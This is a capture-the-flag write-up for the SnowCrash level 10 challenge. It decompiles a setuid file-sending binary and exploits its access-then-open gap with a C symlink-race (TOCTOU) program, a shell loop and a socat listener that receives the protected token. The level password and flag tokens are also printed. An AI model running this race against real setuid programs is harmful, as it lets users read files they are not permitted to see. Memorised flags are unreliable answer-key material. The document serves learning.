318 lines
6 KiB
Markdown
318 lines
6 KiB
Markdown
# Level 10
|
||
|
||
## how to login
|
||
|
||
username: level10
|
||
|
||
password: s5cAJpM8ev6XHw998pRWG728z
|
||
|
||
## Goal
|
||
|
||
run `getflag` as user `flag10`
|
||
|
||
## Actually doing something
|
||
|
||
```bash
|
||
level10@SnowCrash:~$ ll
|
||
total 28
|
||
dr-xr-x---+ 1 level10 level10 140 Mar 6 2016 ./
|
||
d--x--x--x 1 root users 340 Aug 30 2015 ../
|
||
-r-x------ 1 level10 level10 220 Apr 3 2012 .bash_logout*
|
||
-r-x------ 1 level10 level10 3518 Aug 30 2015 .bashrc*
|
||
-rwsr-sr-x+ 1 flag10 level10 10817 Mar 5 2016 level10*
|
||
-r-x------ 1 level10 level10 675 Apr 3 2012 .profile*
|
||
-rw------- 1 flag10 flag10 26 Mar 5 2016 token
|
||
```
|
||
|
||
not so lukcy this time, flag isn't readable...
|
||
|
||
lets run the executable and see what it does
|
||
|
||
```bash
|
||
level10@SnowCrash:~$ ./level10
|
||
./level10 file host
|
||
sends file to host if you have access to it
|
||
level10@SnowCrash:~$ ./level10 token 192.168.92.90
|
||
You don't have access to token
|
||
level10@SnowCrash:~$ ./level10 .profile 192.168.92.90
|
||
Connecting to 192.168.92.90:6969 .. Connected!
|
||
Sending file .. Damn. Unable to open file
|
||
```
|
||
|
||
this seems fishy, lets view it in ida this time...
|
||
|
||
```c
|
||
int main(int argc, const char **argv, const char **envp)
|
||
{
|
||
int *errno; // eax
|
||
char *errno_str; // eax
|
||
const char *file; // [esp+28h] [ebp-1028h]
|
||
const char *host; // [esp+2Ch] [ebp-1024h]
|
||
int socket; // [esp+30h] [ebp-1020h]
|
||
int fd; // [esp+34h] [ebp-101Ch]
|
||
ssize_t read_ret; // [esp+38h] [ebp-1018h]
|
||
_BYTE buf[4096]; // [esp+3Ch] [ebp-1014h] BYREF
|
||
struct sockaddr addr; // [esp+103Ch] [ebp-14h] BYREF
|
||
unsigned int v13; // [esp+104Ch] [ebp-4h]
|
||
|
||
v13 = __readgsdword(0x14u);
|
||
if ( argc <= 2 )
|
||
{
|
||
printf("%s file host\n\tsends file to host if you have access to it\n", *argv);
|
||
exit(1);
|
||
}
|
||
file = argv[1];
|
||
host = argv[2];
|
||
if ( access(file, 4) )
|
||
return printf("You don't have access to %s\n", file);
|
||
printf("Connecting to %s:6969 .. ", host);
|
||
fflush(stdout);
|
||
socket = ::socket(2, 1, 0);
|
||
*(_DWORD *)&addr.sa_data[6] = 0;
|
||
*(_DWORD *)&addr.sa_data[10] = 0;
|
||
addr.sa_family = 2;
|
||
*(_DWORD *)&addr.sa_data[2] = inet_addr(host);
|
||
*(_WORD *)addr.sa_data = htons(0x1B39u);
|
||
if ( connect(socket, &addr, 0x10u) == -1 )
|
||
{
|
||
printf("Unable to connect to host %s\n", host);
|
||
exit(1);
|
||
}
|
||
if ( write(socket, ".*( )*.\n", 8u) == -1 )
|
||
{
|
||
printf("Unable to write banner to host %s\n", host);
|
||
exit(1);
|
||
}
|
||
printf("Connected!\nSending file .. ");
|
||
fflush(stdout);
|
||
fd = open(file, 0);
|
||
if ( fd == -1 )
|
||
{
|
||
puts("Damn. Unable to open file");
|
||
exit(1);
|
||
}
|
||
read_ret = read(fd, buf, 0x1000u);
|
||
if ( read_ret == -1 )
|
||
{
|
||
errno = __errno_location();
|
||
errno_str = strerror(*errno);
|
||
printf("Unable to read from file: %s\n", errno_str);
|
||
exit(1);
|
||
}
|
||
write(socket, buf, read_ret);
|
||
return puts("wrote file!");
|
||
}
|
||
```
|
||
|
||
Seems pretty straight forward, lets to create a file and listen to it using socat on the host machine
|
||
|
||
```bash
|
||
# vm
|
||
level10@SnowCrash:~$ echo "file" >/tmp/file
|
||
level10@SnowCrash:~$ ./level10 /tmp/file 192.168.92.90
|
||
Connecting to 192.168.92.90:6969 .. Connected!
|
||
Sending file .. wrote file!
|
||
```
|
||
|
||
```bash
|
||
# host
|
||
❯ socat TCP-LISTEN:6969,fork stdio
|
||
.*( )*.
|
||
file
|
||
```
|
||
|
||
we got the file !
|
||
|
||
now the issue is that we can't send the token file direcly because it seems there isnt the
|
||
litlle setuid dance we have come to expect...
|
||
|
||
lets try to use a symlink ?
|
||
|
||
```bash
|
||
level10@SnowCrash:~$ ln -s $(realpath token) /tmp/tok2
|
||
level10@SnowCrash:~$ ./level10 /tmp/tok2 192.168.92.90
|
||
You don't have access to /tmp/tok2
|
||
```
|
||
|
||
When looking at the code, we have a check for permission (`access`) THEN we open the file using `open`
|
||
|
||
What if we try really hard to make it so when the program check for the file permission using access, it is a file we have full permission, but when it opens the file, it is changed to be the token file (a symlink to it)
|
||
|
||
lets write a little code for that:
|
||
```c
|
||
#include <fcntl.h>
|
||
#include <stdio.h>
|
||
#include <unistd.h>
|
||
|
||
int main(int argc, char **argv) {
|
||
if (argc < 2) {
|
||
fprintf(stderr, "%s: <file> <target>\n", argv[0]);
|
||
return 1;
|
||
}
|
||
const char *file = argv[1];
|
||
const char *target = argv[2];
|
||
int fd = -1;
|
||
while (1) {
|
||
unlink(file);
|
||
fd = open(file, O_CREAT | O_RDWR | O_TRUNC, 0777);
|
||
close(fd);
|
||
unlink(file);
|
||
symlink(target, file);
|
||
}
|
||
}
|
||
```
|
||
|
||
copy this to the VM (in /tmp), compile it, and run it
|
||
|
||
```bash
|
||
# shell 1
|
||
level10@SnowCrash:~$ /tmp/toctou /tmp/tok2 $(realpath token)
|
||
```
|
||
in shell 2 run something like this:
|
||
```bash
|
||
level10@SnowCrash:~$ while true; do ./level10 /tmp/tok2 192.168.92.90; done
|
||
```
|
||
|
||
since the issue (Named TOCTOU for `Time of Check - Time of Use`) is by nature time sensitive, we run it as long as we need to, hoping for at least ONE single nice happy path :D
|
||
|
||
|
||
and on the host, we get this:
|
||
```bash
|
||
❯ socat TCP-LISTEN:6969,fork stdio
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
woupa2yuojeeaaed06riuj63c
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
woupa2yuojeeaaed06riuj63c
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
woupa2yuojeeaaed06riuj63c
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
woupa2yuojeeaaed06riuj63c
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
.*( )*.
|
||
```
|
||
|
||
we get lots of empty files (the one we try to trick the permission check with), and few token :D
|
||
|
||
```bash
|
||
level10@SnowCrash:~$ su flag10 -c getflag
|
||
Password:
|
||
Check flag.Here is your token : feulo4b72j7edeahuete3no7c
|
||
```
|